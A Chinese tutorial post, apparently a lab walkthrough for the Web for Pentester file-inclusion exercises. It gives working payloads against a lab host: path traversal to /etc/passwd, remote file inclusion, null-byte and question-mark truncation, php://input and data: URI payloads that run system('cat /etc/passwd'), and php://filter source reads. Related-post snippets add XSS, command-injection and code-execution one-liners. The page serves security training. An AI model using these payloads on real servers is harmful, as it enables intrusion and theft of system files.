Example 1

输入单引号,报错,得到物理路径

可通过../../../../etc/paaswd 读取敏感信息

可包含本地文件或远程文件

https://assets.pentesterlab.com/test_include.txt

Example 2

加单引号,报错,可发现获取到的参数后面会加上.php后缀

通过%00截断后面字符

http://192.168.106.154/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt%00

文件包含截断技巧:

1、%00截截断

2、文件路径长度截断

3、截断远程包含 问号截断法 url的话就可以随意发挥了,把不想要的扔到参数里面就好了,非常简单

http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=

或者直接 http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?

1、将文件包含漏洞变成代码执行漏洞

php://input    <?php phpinfo();?>

2、通过data URI schema

http://192.168.106.154/fileincl/example1.php?page=data:text/plain,<?php system('cat /etc/passwd')?>

http://192.168.106.154/fileincl/example1.php?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOw==

3、通过php://filter读取源码

http://192.168.106.154/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=intro.php

base64解码

最后

欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。 

参考文章:

文件包含漏洞小结 http://www.cnblogs.com/iamstudy/articles/include_file.html

php://input,php://filter,data URI schema的那些事  http://www.cnblogs.com/qing123/p/4513870.html

截断在文件包含和上传中的利用   http://www.joychou.org/index.php/web/truncated.html

PHP文件包含漏洞总结  https://www.secpulse.com/archives/3206.html

盘点那些渗透测试中的奇淫技巧  https://bbs.ichunqiu.com/thread-14031-1-1.html

【渗透测试学习平台】 web for pentester -7.文件包含的更多相关文章

  1. 【渗透测试学习平台】 web for pentester -1.介绍与安装

    web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...

  2. 【渗透测试学习平台】 web for pentester -2.SQL注入

    Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...

  3. 【渗透测试学习平台】 web for pentester -4.XML

    example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...

  4. 【渗透测试学习平台】 web for pentester -3.XSS

    Example 1 http://192.168.91.139/xss/example1.php?name=hacker<script>alert('xss')</script> ...

  5. 【渗透测试学习平台】 web for pentester -8.XML

    example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...

  6. 【渗透测试学习平台】 web for pentester -6.命令执行

    命令执行漏洞 windows支持: |           ping 127.0.0.1|whoami           ||              ping  2 || whoami (哪条名 ...

  7. 【渗透测试学习平台】 web for pentester -5.代码执行

    Example 1 http://192.168.106.154/codeexec/example1.php?name=".system('uname -a');// Example 2 h ...

  8. 【渗透测试学习平台】 web for pentester -4.目录遍历

    Example 1 http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd Example 2 ...

  9. 风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击

    风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 ...

随机推荐

  1. Android开发日记(四)

    在服务器端数据库新建一个表ad 在DataInfo.edxm模型中点击从数据库更新模型,发布. 就新建了一个实体ad 然后新建cs文件 using System; using System.Colle ...

  2. 手机触屏滑动图片切换插件swiper.js

    今天给大家分享一款手机触屏滑动图片切换插件swiper.js是一款swiper手机触屏滑动图片幻灯片,适合各种尺寸.效果图如下: 在线预览   源码下载 实现的代码. html代码: <div ...

  3. 修改主机名hostname

    关于修改linux hostname的问题,尤其是redhat 7修改hostname的方式 2017年03月29日 13:56:45 阅读数:4989 首先强调一点,不同的系统,或者同一个系统的不同 ...

  4. Maven学习之(四)Maven插件创建web项目

    另一种maven web项目的创建. 创建出来的目录是这样的,此时试一下,不能加入到tomcat中去启动. 这里要将项目转化为web项目. 右键->项目 选中下面的动态web项目,然后OK 此时 ...

  5. Kafka消息模拟器

    package clickstream import java.util.{Properties, Random, UUID} import kafka.producer.{KeyedMessage, ...

  6. Maven学习:项目之间的关系

    Maven不仅可以定义一个项目中各个模块之间的关系,还可以更延伸一步定义项目与项目之间的关系. 定义父子项目的好处还是挺多的.

  7. java资料——顺序存储结构和链式存储结构(转)

    顺序存储结构 主要优点 节省存储空间,随机存取表中元素 缺    点 插入和删除操作需要移动元素 在计算机中用一组地址连续的存储单元依次存储线性表的各个数据元素,称作线性表的顺序存储结构. 顺序存储结 ...

  8. 另外一款超棒的响应式布局jQuery插件 – Freetile.js

    在线演示 我们曾经介绍过俩款知名的响应式布局插:isotope和masonary,今天我们这里再介绍一款相当不错的响应式布局插件 – Freetile.js,使用它同样可以生成超酷的动态布局效果.相信 ...

  9. bcm56150_i2c驱动分析

    本文主要关注bsp中,关于smbus(系统管理总线,是i2c的子集)的配置过程,了解如如何配置i2c寄存器.所有发送的数据都会写在FIFO中,使能之后就发送出去.接收数据就从接收寄存器中读取.读取和发 ...

  10. 第三百零一节,python操作redis缓存-管道、发布订阅

    python操作redis缓存-管道.发布订阅 一.管道 redis-py默认在执行每次请求都会创建(连接池申请连接)和断开(归还连接池)一次连接操作,如果想要在一次请求中指定多个命令,则可以使用pi ...